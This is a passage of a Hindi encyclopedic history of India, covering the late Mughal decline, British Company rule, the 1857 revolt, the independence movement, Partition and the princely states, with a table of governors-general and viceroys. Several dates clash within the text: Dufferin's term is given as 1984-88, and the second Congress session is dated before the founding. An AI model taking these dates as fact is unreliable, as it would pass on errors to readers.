के नादिरशाह ने मुग़ल बादशाहत पर सबसे सांघातिक प्रहार किया। उसने 1739 ई. में भारत पर चढ़ाई की और दिल्ली पर क़ब्ज़ा कर लिया और उसे निर्दयता से पूरी तरह लूटा। उसके हमले से मुग़ल साम्राज्य पूरी तरह जर्जर हो गया और इसके बाद शीघ्रता से उसका विघटन हो गया। अवध, अखण्डित बंगाल तथा दक्षिण के मुसलमान सूबेदारों ने अपने को स्वतंत्र कर लिया। राजपूत राजा भी अर्द्ध-स्वतंत्र हो गये। पेशवा बाजीराव प्रथम के नेतृत्व में मराठों ने मुग़ल साम्राज्य के खंडहरों पर हिन्दू पद पादशाह की स्थापना का प्रयास किया।
अंग्रेज़
इन्हें भी देखें: वास्को द गामा
फ़िरंगी लोग समुद्री मार्गों से भारत की ज़मीन पर पैर जमा चुके थे। अकबर से लेकर औरंगज़ेब तक मुग़ल बादशाहों ने भारत के इस नये मार्ग का महत्त्व नहीं समझा। इनमें से कोई इन नवांगतुकों की राजनीतिक महत्त्वाकांक्षाओं का अनुमान नहीं लगा सका और उनके जंगी बेड़े का मुक़ाबला करने के लिए एक शक्तिशाली भारतीय जंगी बेड़ा तैयार करने की आवश्यकता को अनुभव नहीं कर सका। इस तरह भारतीयों की ओर से किसी प्रतिरोध का सामना किये बग़ैर सबसे पहले पुर्तग़ाली भारत पहुँचे। उसके बाद डच, अंग्रेज़, फ्राँसीसी आये। सोलहवीं शताब्दी में इन फिरंगियों में आपस में लड़ाइयाँ होती रही, जो अधिकांश समुद्र में हुई। डच और अंग्रेजों ने मिलकर सबसे पहले पुर्तग़ालियों की सामुद्रिक शक्ति को समाप्त किया। इसके बाद डच लोगों को पता चला कि उनके लिए भारत की अपेक्षा मसाले वाले द्वीपों से व्यापार करना अधिक लाभदायी है। इस तरह भारत में सिर्फ़ अंग्रेज़ और फ्राँसीसी लोगों के बीच प्रतिद्वन्द्विता हुई।
ईस्ट इंडिया कम्पनी
इन्हें भी देखें: मैसूर युद्ध एवं टीपू सुल्तान
अठारहवीं शताब्दी के शुरू में अंग्रेजों की ईस्ट इंडिया कम्पनी ने बम्बई (मुम्बई), मद्रास (चेन्नई) तथा कलकत्ता (कोलकाता) पर क़ब्ज़ा कर लिया। उधर फ्राँसीसियों की ईस्ट इंडिया कम्पनी ने माहे, पांडिचेरी तथा चंद्रानगर पर क़ब्ज़ा कर लिया। उन्हें अपनी सेनाओं में भारतीय सिपाहियों को भरती करने की भी इजाज़त मिल गयी। वे इन भारतीय सिपाहियों का उपयोग न केवल अपनी आपसी लड़ाइयों में करते थे बल्कि इस देश के राजाओं के विरुद्ध भी करते थे। इन राजाओं की आपसी प्रतिद्वन्द्विता और कमज़ोरी ने इनकी राजनीतिक महत्त्वाकांक्षा को जाग्रत कर दिया और उन्होंने कुछ देशी राजाओं के विरुद्ध दूसरे देशी राजाओं से संधियाँ कर लीं। 1744-49 ई. में मुग़ल बादशाह की प्रभुसत्ता की पूर्ण उपेक्षा करके उन्होंने आपस में कर्नाटक की दूसरी लड़ाई छेड़ी। एक साल के बाद कर्नाटक की दूसरी लड़ाई शुरू हुई। जिसमें फ्राँसीसी गवर्नर डूप्ले ने पहली लड़ाई से सबक़ लेते हुए न केवल कर्नाटक के प्रशासन पर, बल्कि निज़ाम के राज्य पर भी फ़्राँस का राजनीतिक नियत्रंण स्थापित करने की कोशिश की। परन्तु अंग्रेजों ने उसकी महत्त्वाकांक्षा पूरी नहीं होने दी। अंग्रेजों को बंगाल में भारी सफलता मिली थी। बादशाह औरंगज़ेब की मृत्यु के केवल पचास वर्ष बाद 1757 ई. में राबर्ट क्लाइव के नेतृत्व में अंग्रेजों ने नवाब सिराजुद्दौला के विरुद्ध विश्वासघातपूर्ण राजद्रोहात्मक षड़यंत्र रचकर प्लासी की लड़ाई जीत ली और बंगाल को एक प्रकार से अपनी मुट्ठी में कर लिया। उन्होंने बंगाल की गद्दी पर एक कठपुतली नवाब मीर ज़ाफ़र को बिठा दिया। इसके बाद एक के बाद, तेज़ी से कई घटनाएँ घटीं।
पानीपत
अहमद शाह अब्दाली ने 1748 से 1760 ई. के बीच भारत पर चढ़ाइयाँ कीं और 1761 ई. में पानीपत की तीसरी लड़ाई जीत कर मुग़ल साम्राज्य का फ़ातिहा पढ़ दिया। उसने दिल्ली पर दख़ल करके उसे लूटा। पानीपत की तीसरी लड़ाई में सबसे अधिक क्षति मराठों को उठानी पड़ी। कुछ समय के लिए उनकी बाढ़ रुक गयी और इस प्रकार वे मुग़ल बादशाहों की जगह ले लेने का मौक़ा खो बैठे। यह लड़ाई वास्तव में मुग़ल साम्राज्य के पतन की सूचक है। इसने भारत में मुग़ल साम्राज्य के स्थान पर ब्रिटिश साम्राज्य की स्थापना में मदद की। अब्दाली को पानीपत में जो फ़तह मिली, उससे न तो वह स्वयं कोई लाभ उठा सका और न उसका साथ देने वाले मुसलमान सरदार। इस लड़ाई से वास्तविक फ़ायदा अंग्रेज़ी ईस्ट इंडिया कम्पनी ने उठाया। इसके बाद कम्पनी को एक के बाद दूसरी सफलताएँ मिलती गयीं।
अंग्रेज़ गवर्नर जनरल और वायसराय
जनरल और वायसराय
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कार्य / कार्यकाल
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अंग्रेज़ गवर्नर जनरल
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लॉर्ड विलियम बैंटिक
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1833-35 ई.
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सर चार्ल्स मैटकाफ (स्थानांपन्न)
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1835-36 ई.
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आकलैण्ड
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1836-42 ई.
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लॉर्ड एलनबरो
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1842-44 ई.
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विलियम विलबर फोर्स बर्ड
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1844 ई.
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लॉर्ड हार्डिंग
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1844-48 ई.
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लॉर्ड डलहौज़ी
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1848-56 ई.
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लॉर्ड कैनिंग
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1856-58 ई.
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अंग्रेज़ गवर्नर जनरल और वायसराय
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लॉर्ड कैनिंग
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1858-62 ई.
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लॉर्ड एल्गिन प्रथम
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1862-63 ई.
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सर रार्बट नेपियर (स्थानापन्न)
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1863 ई.
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सर विलियम टी. डेनिसन (स्थानापन्न)
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1863 ई.
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सर जॉन लारेन्स
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1864-68 ई.
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लॉर्ड मेयो
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1869-72 ई.
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सर जॉन स्ट्रेची (स्थानापन्न)
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1872 ई.
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लॉर्ड नार्थब्रुक
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1872-76 ई.
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लॉर्ड लिटन प्रथम
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1876-80 ई.
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मार्क्विस ऑफ़ रिपन
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1880-84 ई.
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अर्ल ऑफ़ डफ़रिन
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1984-88 ई.
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लॉर्ड लैन्सडाउन
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1988-94 ई.
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लॉर्ड एल्गिन द्वितीय
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1894-99 ई.
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लॉर्ड कर्ज़न
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1899-1905 ई.
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लॉर्ड एम्पिराय (स्थानापन्न)
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1904 ई.
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लॉर्ड कर्ज़न
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1904-05 ई.
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लॉर्ड मिन्टो द्वितीय
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1905-10 ई.
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लॉर्ड हार्डिंग्स
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1910-16 ई.
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लॉर्ड चैम्सफोर्ड
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1916-21 ई.
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लॉर्ड रीडिंग
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1921-25 ई.
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लॉर्ड लिटन द्वितीय (स्थानापान्न)
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लॉर्ड इरविन
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1926-31 ई.
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लॉर्ड विलिंगडन
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1931-34 ई.
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सर जॉर्ज स्टेनले
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1934 ई.
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लॉर्ड लिनलिथगो
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1934-37 ई.
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वैरन व्रेवर्न (स्थानापन्न)
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1938 ई.
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लॉर्ड लिनलिथगो
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1938-43 ई.
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लॉर्ड वेवेल
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1943-47 ई.
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लॉर्ड माउण्टबेटेन
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1947 ई.
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अंग्रेज़ जनरल एवं वायसरायों से सम्बन्धित कार्य
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वारेन हेस्टिंग्स
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रेवेन्यू, फ़ौजदारी व अपीली न्यायालयों की स्थापना
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लॉर्ड कार्नवालिस
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स्थायी भूमि बन्दोबस्त
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लॉर्ड वेलेजली
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सहायक संधि प्रणाली
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विलियम बैंटिक
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सती प्रथा की समाप्ति
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चार्ल्स मेटकाफ
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प्रेस पर प्रतिबन्ध की समाप्ति
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लॉर्ड एलनबरो
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सिन्ध का विलय
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लॉर्ड डलहौज़ी
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रेल, आधुनिक डाक, तार व पी. डब्ल्यू. डी. की स्थापना
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लॉर्ड कैनिंग
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कलकत्ता, बम्बई व मद्रास विश्वविद्यालय की स्थापना
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लॉर्ड लिटन
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दिल्ली दरबार, वर्नाक्यूलर प्रेस एक्ट, आर्म्स एक्ट
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लॉर्ड रिपन
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प्रथम कारखाना अधिनियम, इल्बर्ट बिल
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लॉर्ड कर्ज़न
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बंगाल विभाजन, प्राचीन स्मारक संरक्षण क़ानून,
भारतीय विश्वविद्यालय क़ानून
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लॉर्ड मिन्टो द्वितीय
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पृथक निर्वाचन क्षेत्र की व्यवस्था
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लॉर्ड हार्डिंग
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भारत की राजधानी कलकत्ता से दिल्ली स्थानांतरित
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लॉर्ड चेम्सफोर्ड
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रौलेट एक्ट, जलियाँवाला बाग़ ह्त्याकाण्ड
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लॉर्ड इरविन
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गाँधी इरविन समझौता (1931 ई.)
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लॉर्ड विलिंगडन
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कम्यूनल अवार्ड (1932 ई.)
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लॉर्ड लिनलिथगो
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प्रान्तीय चुनाव
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लॉर्ड वेवेल
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शिमला सम्मेलन, कैबिनेट मिशन, संविधान सभा की स्थापना
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लॉर्ड माउण्टबेटेन
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भारत विभाजन एवं भारत की स्वतंत्रता
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रेग्युलेटिंग एक्ट
बंगाल के साधनों से बलशाली होकर अंग्रेजों ने 1760 ई. में वाण्डीवाश की लड़ाई में फ्राँसीसियों को हरा दिया और 1762 ई. में उनसे पांडेचेरी ले लिया। इस प्रकार उन्होंने भारत में फ्राँसीसियों की राजनीतिक शक्ति समाप्त कर दी। 1764 ई. में अंग्रजों ने बक्सर की लड़ाई में बादशाह बहादुर शाह और अवध के नवाब की सम्मिलित सेना को हरा दिया और 1765 ई. में बादशाह से बंगाल, बिहार तथा उड़ीसा की दीवानी प्राप्त कर ली। इसके फलस्वरूप ईस्ट इंडिया कम्पनी को पहली बार बंगाल, उड़ीसा तथा बिहार के प्रशासन का क़ानूनी अधिकार मिल गया। कुछ इतिहासकार इसे भारत में ब्रिटिश राज्य का प्रारम्भ मानते हैं। 1773 ई. में ब्रिटिश पार्लियामेंट ने एक रेग्युलेटिंग एक्ट पास करके भारत में ब्रिटिश प्रशासन को व्यवस्थित रूप देने का प्रयास किया। इस एक्ट के अंतर्गत भारत में कम्पनी क्षेत्रों का प्रशासन गवर्नर-जनरल के अधीन कर दिया गया। उसकी सहायता के लिए चार सदस्यों की कॉउंसिल गठित की गयी। एक्ट में बंगाल के गवर्नर को गवर्नर-जनरल का पद प्रदान किया गया और कलकत्ता में एक सुप्रीम कोर्ट की भी स्थापना की गयी। वारेन हेस्टिंग्स, जो उस समय बंगाल का गवर्नर था, 1773 ई. में पहला गवर्नर-जनरल बनाया गया।
1773 ई. से 1947 ई. तक का काल, जब भारत में ब्रिटिश शासन समाप्त हुआ और भारत स्वाधीन हुआ, दो भागों में बाँटा जा सकता है। पहला, कम्पनी का शासनकाल, जो 1858 ई. तक चला और दूसरा, 1858 से 1947 ई. तक का काल, जब भारत का शासन सीधे ब्रिटेन द्वारा होने लगा।
गवर्नर-जनरलों का समय
कम्पनी के शासन काल में भारत का प्रशासन एक के बाद एक बाईस गवर्नर-जनरलों के हाथों में रहा। इस काल के भारतीय इतिहास की सबसे उल्लेखनीय घटना यह है कि कम्पनी युद्ध तथा कूटनीति के द्वारा भारत में अपने साम्राज्य का उत्तरोत्तर विस्तार करती रही। मैसूर के साथ चार लड़ाइयाँ, मराठों के साथ तीन, बर्मा (म्यांमार) तथा सिखों के साथ दो-दो लड़ाइयाँ तथा सिंध के अमीरों, गोरखों तथा अफ़ग़ानिस्तान के साथ एक-एक लड़ाई छेड़ी गयी। इनमें से प्रत्येक लड़ाई में कम्पनी को एक या दूसरे देशी राजा की मदद मिली। उसने जिन फ़ौजों से लड़ाई की उनमें से अधिकांश भारतीय सिपाही थे और लड़ाई का ख़र्च पूरी तरह भारतीय करदाता को उठाना पड़ा। इन लड़ाइयों के फलस्वरूप 1857 ई. तक सारे भारत पर सीधे कम्पनी का प्रभुत्व स्थापित हो गया। दो-तिहाई भारत पर देशी राज्यों का शासन बना रहा। परन्तु उन्होंने कम्पनी का सार्वभौम प्रभुत्व स्वीकार कर लिया और अधीनस्थ तथा आश्रित मित्र राजा के रूप में अपनी रियासत का शासन चलाते रहे।
ग़दर- प्रथम स्वातंत्र्य संग्राम
इन्हें भी देखें: झांसी की रानी लक्ष्मीबाई, तात्या टोपे, राजा राममोहन राय एवं सती प्रथा
इस काल में सती प्रथा का अन्त कर देने के समान कुछ सामाजिक सुधार के भी कार्य किये गये। राजा राममोहन राय ने सती प्रथा जैसी अमानवीय प्रथा के विरुद्ध निरन्तर आन्दोलन चलाया। उनके पूर्ण और निरन्तर समर्थन का ही प्रभाव था, जिसके कारण लॉर्ड विलियम बैंटिक 1829 में सती प्रथा को बन्द कराने में समर्थ हो सका। अंग्रेज़ी के माध्यम से पश्चिम शिक्षा के प्रसार की दिशा में क़दम उठाये गये, अंग्रेज़ी देश की राजभाषा बना दी गयी, सारे देश में समान ज़ाब्ता दीवानी और ज़ाब्ता फ़ौजदारी क़ानून लागू कर दिया गया, परन्तु शासन स्वेच्छाचारी बना रहा और वह पूरी तरह अंग्रेज़ों के हाथों में रहा। 1833 के चार्टर एक्ट के विपरीत ऊँचे पदों पर भारतीयों को नियुक्त नहीं किया गया। भाप से चलने वाले जहाज़ों और रेलगाड़ियों का प्रचलन, ईसाई मिशनरियों द्वारा आक्षेपजनक रीति से ईसाई धर्म का प्रचार, लॉर्ड डलहौज़ी द्वारा ज़ब्ती का सिद्धांत लागू करके अथवा कुशासन के आधार पर कुछ पुरानी देशी रियासतों की ज़ब्ती तथा ब्रिटिश भारतीय सेना के भारतीय सिपाहियों की शिकायतें; इन सब कारणों ने मिलकर सारे भारत में एक गहरे असंतोष की आग धधका दी, जो 1857-58 ई. में ग़दर के रूप में भड़क उठी।
अन्तिम मुग़ल बहादुर शाह ज़फ़र, झांसी की रानी लक्ष्मीबाई, तांत्या टोपे (रामचंन्द्र पांडुरंग), बिहार के बाबू कुँवरसिंह, महाराष्ट्र से नाना साहिब, इस प्रथम क्रान्ति के प्रयास के नायक थे किन्तु प्रयास विफल हो गया। अधिकांश देशी राजाओं ने अपने को ग़दर से अलग रखा। कम्पनी को बलपूर्वक ग़दर को कुचल देने में सफलता मिली, परन्तु ग़दर के बाद ब्रिटिश पार्लियामेंट ने भारत पर कम्पनी का शासन समाप्त कर दिया। भारत का शासन अब सीधे ब्रिटेन के द्वारा किया जाने लगा।
भारतीय राष्ट्रीय कांग्रेस की स्थापना
इस प्रकार भारत में ब्रिटिश शासन का दूसरा काल (1858-1947 ई.) आरम्भ हुआ। इस काल का शासन एक के बाद इकत्तीस गवर्नर-जनरलों के हाथों में रहा। गवर्नर-जनरल को अब वाइसराय (ब्रिटिश सम्राट का प्रतिनिधि) कहा जाने लगा। लॉर्ड कैनिंग पहला वाइसराय तथा गवर्नर-जनरल नियुक्त हुआ। इस काल के भारतीय इतिहास की सबसे प्रमुख घटना है—भारत में राष्ट्रवादी भावना का उदय और 1947 ई. में भारत की स्वाधीनता के रूप में अंतिम विजय। 1857 ई. में कलकत्ता (कोलकाता), मद्रास (चेन्नई) तथा बम्बई (मुम्बई) में विश्वविद्यालयों की स्थापना के बाद शिक्षा का प्रसार होने लगा तथा 1869 ई. में स्वेज़ नहर खुलने के बाद इंग्लैण्ड तथा यूरोप से निकट सम्पर्क स्थापित हो जाने से भारत में नये मध्यवर्ग का विकास हुआ। यह मध्य वर्ग पश्चिमी दर्शन शास्त्र, राजनीति शास्त्र तथा अर्थशास्त्र के विचारों से प्रभावित था और ब्रिटिश शासन में भारतीयों को जो नीचा दर्जा मिला हुआ था, उससे रुष्ट था। ब्रिटिश में स्थापित शान्ति के फलस्वरूप यह वर्ग सारे भारत को एक देश तथा समस्त भारतीयों को एक क़ौम मानने लगा और ब्रिटेन की भाँति संसदीय शासन प्रणाली की स्थापना उसका लक्ष्य बन गया। वह एक ऐसे संगठन की आवश्यकता महसूस करने लगा जो समस्त भारतीय राष्ट्र का प्रतिनिधित्व कर सके।
इसके फलस्वरूप 1885 ई. में बम्बई में भारतीय राष्ट्रीय कांग्रेस की स्थापना हुई जिसमें देश के समस्त भागों से 71 प्रतिनिधियों ने भाग लिया। कांग्रेस का दूसरा अधिवेशन 1883 ई. में कलकत्ता में हुआ, जिसमें सारे देश से निर्वाचित 434 प्रतिनिधियों ने भाग लिया। इस अधिवेशन में माँग की गयी कि भारत में केन्द्रीय तथा प्रांतीय विधानमंडलों का विस्तार किया जाये और उसके आधे सदस्य निर्वाचित भारतीय हों। कांग्रेस हर साल अपने अधिवेशनों में अपनी माँगें दोहराती रही। लॉर्ड डफ़रिन ने कांग्रेस पर व्यंग्य करते हुए उसे ऐसे अल्पसंख्यक वर्ग का प्रतिनिधित्व करने वाली संस्था बताया जिसे सिर्फ़ ख़ुर्दबीन से देखा जा सकता है। लॉर्ड लैन्सडाउन ने उसके प्रति पूर्ण उपेक्षा की नीति बरती, लॉर्ड कर्ज़न ने उसका खुलेआम मज़ाक उड़ाया तथा लॉर्ड मिन्टो द्वितीय ने 1909 के इंडियन कॉउंसिल एक्ट द्वारा स्थापित विधानमंडलों में मुसलमानों को अनुचित रीति से अनुपात से अधिक प्रतिनिधित्व देकर उन्हें फोड़ने तथा कांग्रेस को तोड़ने की कोशिश की, फिर भी कांग्रेस जिन्दा रही।
प्रारम्भिक सफलता
कांग्रेस को पहली मामूली सफलता 1909 में मिली, जब इंग्लैण्ड में भारत मंत्री के निर्शदन में काम करने वाली भारत परिषद में दो भारतीय सदस्यों की नियुक्ति पहली बार की गयी, वाइसराय की एक्जीक्यूटिव काउंसिल में पहली बार एक भारतीय सदस्य की नियुक्ति की गयी तथा इंडियन काउंसिल एक्ट के द्वारा केन्द्रीय तथा प्रान्तीय विधानमंडलों का विस्तार कर दिया गया तथा उनमें निर्वाचित भारतीय प्रतिनिधियों का अनुपात पहले से अधिक बढ़ा दिया गया। इन सुधारों के प्रस्ताव लॉर्ड मार्ले ने हालाँकि भारत में संसदीय संस्थाओं की स्थापना करने का कोई इरादा होने से इन्कार किया, फिर भी एक्ट में जो व्यवस्थाएँ की गयीं थी, उनका उद्देश्य उसी दिशा में आगे बढ़ने के सिवा और कुछ नहीं हो सकता था। 1911 ई. में लॉर्ड कर्ज़न के द्वारा 1905 ई. में किया बंगाल का विभाजन रद्द कर दिया गया और भारत ने ब्रिटेन का पूरा साथ दिया। भारत ने युद्ध को जीतने के लिए ब्रिटेन की फ़ौजों से, धन से तथा समाग्री से मदद की। भारत आशा करता था कि इस राजभक्ति प्रदर्शन के बदले युद्ध से होने वाले लाभों में उसे भी हिस्सा मिलेगा।
द्वैधशासन प्रणाली
भारत के लिए स्वशासन की माँग करने में पहली बार भारतीय मुसलमान भी हिन्दुओं के साथ संयुक्त हो गये और अगस्त 1917 ई. में ब्रिटिश सरकार ने घोषणा की कि भारत में ब्रिटेश शासन की नीति है कि शासन की प्रत्येक शाखा में भारतीयों को अधिकारिक स्थान दिया जाय तथा स्वायत्त शासन का क्रमिकरूप से विकास किया जाय, ताकि ब्रिटिश साम्राज्य के अंतर्गत भारत में उत्तरदायी सरकार की उत्तरोत्तर स्थापना हो सके। इस घोषणा के अनुसार 1919 का गवर्नमेण्ट आफ इंडिया एक्ट पास किया गया। इस एक्ट के द्वारा विधान मंडलों का विस्तार कर दिया गया और अब उनके बहुसंख्य सदस्य भारतीय जनता के निर्वाचित प्रतिनिधि होने लगे। एक्ट के द्वारा केन्द्रीय तथा प्रान्तीय सरकारों के कार्यों का विभाजन कर दिया गया और प्रान्तों में द्वैधशासन प्रणाली लागू करके कार्यपालिका को आंशिक रीति से विधानमंडल के प्रति उत्तरदायी बना दिया गया। इस एक्ट के द्वारा भारत ने सुनिश्चित रीति से प्रगति की। भारतीय के इतिहास में पहली बार एक ऐसी संस्था की स्थापना की गयी, जिसके द्वारा ब्रिटिश भारत के निर्वाचित प्रतिनिधि सरकारी आधार पर एकत्र हो सकते थे। पहली बार उनका बहुमत स्थापित कर दिया गया और अब वे सरकार के कार्यों की निर्भयतापूर्वक आलोचना कर सकते थे।
असहयोग और सत्याग्रह
इन सुधारों से पुराने कांग्रेसजन संतुष्ट हो गये, परन्तु नव युवकों का दल, जिसे मोहनदास करमचंद गाँधी के रूप में एक नया नेता मिल गया था, संतुष्ट नहीं हुआ। इन सुधारों के अंतर्गत केन्द्रीय कार्यपालिका को केन्द्रीय विधान मंडल के प्रति उत्तरदायी नहीं बनाया गया था और वाइसराय को बहुत अधिक अधिकार प्रदान कर दिये गये थे। अतएव उसने इन सुधारों को अस्वीकृत कर दिया। उसके मन में जो आशंकाएँ थीं, वे ग़लत नहीं थी, यह 1919 के एक्ट के बाद ही पास किये गये रौलट एक्ट जैसे दमनकारी क़ानूनों तथा जलियाँवाला बाग़ हत्याकांण्ड जैसे दमनमूलक कार्यों से सिद्ध हो गया। जलियाँवाला बाग़ हत्याकांड के 21 साल बाद 13 मार्च 1940 को 'रॉयल सेंट्रल एशियन सोसायटी' की लंदन के 'कॉक्सटन हॉल' में बैठक में ऊधमसिंह ने माइकल ओ डायर पर गोलियाँ चला दीं। जिससे उसकी तुरन्त मौत हो गई। चंद्रशेखर आज़ाद, राजगुरु, सुखदेव और भगतसिंह जैसे महान क्रांतिकारियों ने ब्रिटिश शासन को ऐसे घाव दिये जिन्हें ब्रिटिश शासक बहुत दिनों तक नहीं भूल पाए। कांग्रेस ने 1920 ई. में अपने नागपुर अधिवेशन में अपना ध्येय पूर्ण स्वराज्य की स्थापना घोषित कर दी और अपनी माँगों को मनवाने के लिए उसने अहिंसक असहयोंग की नीति अपनायी। चूंकि ब्रिटिश सरकार ने उसकी माँगें स्वीकार नहीं की और दमनकारी नीति के द्वारा वह असहयोग आंदोलन को दबा देने में सफल हो गयी। इसलिए कांग्रेस ने दिसम्बर 1929 ई. में लाहौर अधिवेशन में अपना लक्ष्य पूर्ण स्वीधीनता निश्चित किया और अपनी माँग का मनवाने के लिए उसने 1930 में नमक सत्याग्रह आंदोलन शुरू कर दिया।
द्वितीय विश्वयुद्ध
सरकार ने पहले की तरह आंदोलन को दबाने के लिए दमन और समझौते के दोनों रास्ते अख़्तियार किये और 1935 का गवर्नेण्ट आफ इंडिया एक्ट पास किया। इस एक्ट के द्वारा ब्रिटश भारत तथा देशी रियासतों के लिए सम्मिलित रूप से एक संघीय शासन का प्रस्ताव किया, केन्द्र में एक प्रकार के द्वैध शासन की स्थापना की गयी तथा प्रान्तों को स्वशासन प्रदान कर दिया गया। एक्ट का प्रान्तों से सम्बन्धित भाग लागू कर दिया गया तथा अप्रैल 1937 ई. में प्रान्तीय स्वशासन का श्रीगणेश कर दिया गया। परन्तु एक्ट के संघ सरकार से सम्बन्धित भाग के लागू होने से पहले ही सितम्बर 1939 ई. में द्वितीय विश्वयुद्ध शुरू हो गया जो 1945 ई. तक जारी रहा। यह विश्वव्यापी युद्ध था और ब्रिटेन को अपने सारे साधन उसमें झोंक देने पड़े। भारत ने ब्रिटेन का साथ दिया और भारत के पास जन और धन की जो विशाल शक्ति थी उससे लाभ उठाकर तथा अमरीका की सहायता से ब्रिटेन युद्ध जीत गया। गाँधी जी के अमित प्रभाव तथा अहिंसा में उनकी दृढ़ निष्ठा के कारण भारत ने यद्यपि ब्रिटिश सम्बन्ध को बनाये रखा, फिर भी यह स्पष्ट हो गया कि भारत अब ब्रिटिश साम्राज्य की अधीनता में नहीं रहना चाहता।
सम्प्रदायिक दंगे
कुछ ब्रिटिश अफ़सरों ने भारत को स्वाधीन होने से रोकने के लिए अंतिम दुर्राभ संधि की और मुसलमानों की भारत विभाजन करके पाकिस्तान की स्थापना की माँग का समर्थन करना शुरू कर दिया। इसके फलस्वरूप अगस्त 1946 ई. में सारे देश में भयानक सम्प्रदायिक दंगे शुरू हो गये, जिन्हें वाइसराय लॉर्ड वेवेल अपने समस्त फ़ौजी अनुभवों तथा साधनों बावजूद रोकन में असफल रहा। यह अनुभव किया गया कि भारत का प्रशासन ऐसी सरकार के द्वारा चलाना सम्भव नहीं है। जिसका नियंत्रण मुध्य रूप से अंग्रेजों के हाथों में हो। अतएव सितम्बर 1946 ई. में लॉर्ड वेवेल ने पंडित जवाहर लाल नेहरू के नेतृत्व में भारतीय नेताओं की एक अंतरिम सरकार गठित की। ब्रिटिश अधिकारियों की कृपापात्र होने के कारण मुस्लिम लीग के दिमाग़ काफ़ी ऊँचे हो गये थे। उसने पहले तो एक महीने तक अंतरिम सरकार से अपने को अलग रखा, इसके बाद वह भी उसमें सम्मिलित हो गयी।
स्वाधीनता
15 अगस्त 1947 का अख़बार
Newspaper Of 15th August 1947
भारत का संविधान बनाने के लिए एक भारतीय संविधान सभा का आयोजन किया गया। 1947 ई. के शुरू में लॉर्ड वेवेल के स्थान पर लॉर्ड माउंटबेटेन वाइसराय नियुक्त हुआ। उसे पंजाब में भयानक सम्प्रदायिक दंगों का सामना करना पड़ा। जिनको भड़काने में वहाँ के कुछ ब्रिटिश अफसरों का हाथ था। वह प्रधानमंत्री एटली के नेतृत्व में ब्रिटेन की सरकार को यह समझाने में सफल हो गया कि भारत का भारत और पाकिस्तान के रूप में विभाजन करके उसे स्वाधीनता प्रदान करने से शान्ति की स्थापना सम्भव हो सकेगी और ब्रिटेन भारत में अपने व्यापारिक हितों को सुरक्षित रख सकेगा। 3 जून 1947 को ब्रिटिश सरकार की ओर से यह घोषणा कर दी गयी कि भारत का; भारत और पाकिस्तान के रूप में विभाजन करके उसे स्वाधीनता प्रदान कर दी जायगी। ब्रिटिश पार्लियामेंट ने 15 अगस्त 1947 को इंडिपेडंस आफ इंडिया एक्ट पास कर दिया। इस तरह भारत उत्तर पश्चिमी सीमा प्रान्त, बलूचिस्तान, सिंध, पश्चिमी पंजाब, पूर्वी बंगाल तथा पश्चिम बंगाल के मुसलिम बहुल भागों से रहित हो जाने के बाद, सात शताब्दियों की विदेशी पराधीनता के बाद स्वाधीनता के एक नये पथ पर अग्रसर हुआ।
गांधी जी की हत्या
स्वाधीन भारत को जिन समस्याओं का सामना करना पड़ा, वे सरल नहीं थीं। उसे सबसे पहले साम्प्रदायिक उन्माद को शान्त करना था। भारत ने जानबूझकर धर्म निरपेक्ष राज्य बनना पसंद किया। उसने आश्वासन दिया कि जिन मुसलमानों ने पाकिस्तान को निर्गमन करने के बजाय भारत में रहना पसंद किया है उनको नागरिकता के पूर्ण अधिकार प्रदान किये जायेंगे। हालाँकि पाकिस्तान जानबूझकर अपने यहाँ से हिन्दुओं को निकाल बाहर करने अथवा जिन हिन्दुओं ने वहाँ रहने का फैसला किया था, उनको एक प्रकार से द्वितीय श्रेणी का नागरिक बना देने की नीति पर चल रहा था। लॉर्ड माउंटबेटेन को स्वाधीन भारत का पहला गवर्नर जनरल बनाये रखा गया और पंडित जवाहर लाल नेहरू तथा अंतरिम सरकार में उनके कांग्रसी सहयोगियों ने थोड़े से हेरफेर के साथ पहले भारतीय मंत्रिमंडल का निर्माण किया। इस मंत्रिमंडल में सरदार पटेल तथा मौलाना अबुलकलाम आज़ाद का तो सम्मिलित कर लिया गया था, परन्तु नेताजी के बड़े भाई शरतचंद्र बोस को छोड़ दिया गया। 30 जनवरी 1948 ई. को नाथूराम गोडसे नामक हिन्दू ने राष्ट्रपिता महात्मा गाँधी की हत्या कर दी। सारा देश शोक के सागर में डूब गया। नौ महीने के बाद, पाकिस्तान के पहले गवर्नर जनरल मुहम्मद अली जिन्नाह की भी मृत्यु हो गयी। उसी वर्ष लॉर्ड माउंटबेटेन ने भी अवकाश ग्रहण कर लिया और चक्रवर्ती राजगोपालाचारी भारत के प्रथम और अंतरिम गवर्नर जनरल नियुक्त हुए।
रियासतों का विलय
अधिकांश देशी रियासतों ने , जिनके सामने भारत अथवा पाकिस्तान में विलय का प्रस्ताव रखा गया था, भारत में विलय के पक्ष में निर्णय लिया, परन्तु, दो रियासतों—कश्मीर तथा हैदराबाद ने कोई निर्णय नहीं किया। पाकिस्तान ने बलपूर्वक कश्मीर की रियासत पर अधिकार करने का प्रयास किया, परन्तु अक्टूबर 1947 ई. में कश्मीर के महाराज ने भारत में विलय की घोषणा कर दी और भारतीय सेनाओं को वायुयानों से भेजकर श्रीनगर सहित कश्मीरी घाटी तक जम्मू की रक्षा कर ली गयी। पाकिस्तानी आक्रमणकारियों ने रियासत के उत्तरी भाग पर अपना क़ब्ज़ा बनाये रखा और इसके फलस्वरूप पाकिस्तान से युद्ध छिड़ गया। भारत ने यह मामला संयुक्त राष्ट्र संघ में उठाया और संयुक्त राष्ट्र संघ ने जिस क्षेत्र पर जिसका क़ब्ज़ा था, उसी के आधार पर युद्ध विराम कर दिया। वह आज तक इस सवाल का कोई निपटारा नहीं कर सका है। हैदराबाद के निज़ाम ने अपनी रियासत को स्वतंत्रता का दर्जा दिलाने का षड़यंत्र रचा, परन्तु भारत सरकार की पुलिस कार्रवाई के फलस्वरूप वह 1948 ई. में अपनी रियासत भारत में विलयन करने के लिए मजबूर हो गये। रियासतों के विलय में तत्कालीन गृहमंत्री सरदार बल्लभ भाई पटेल की मुख्य भूमिका रही।
संघ राज्यों का विलय
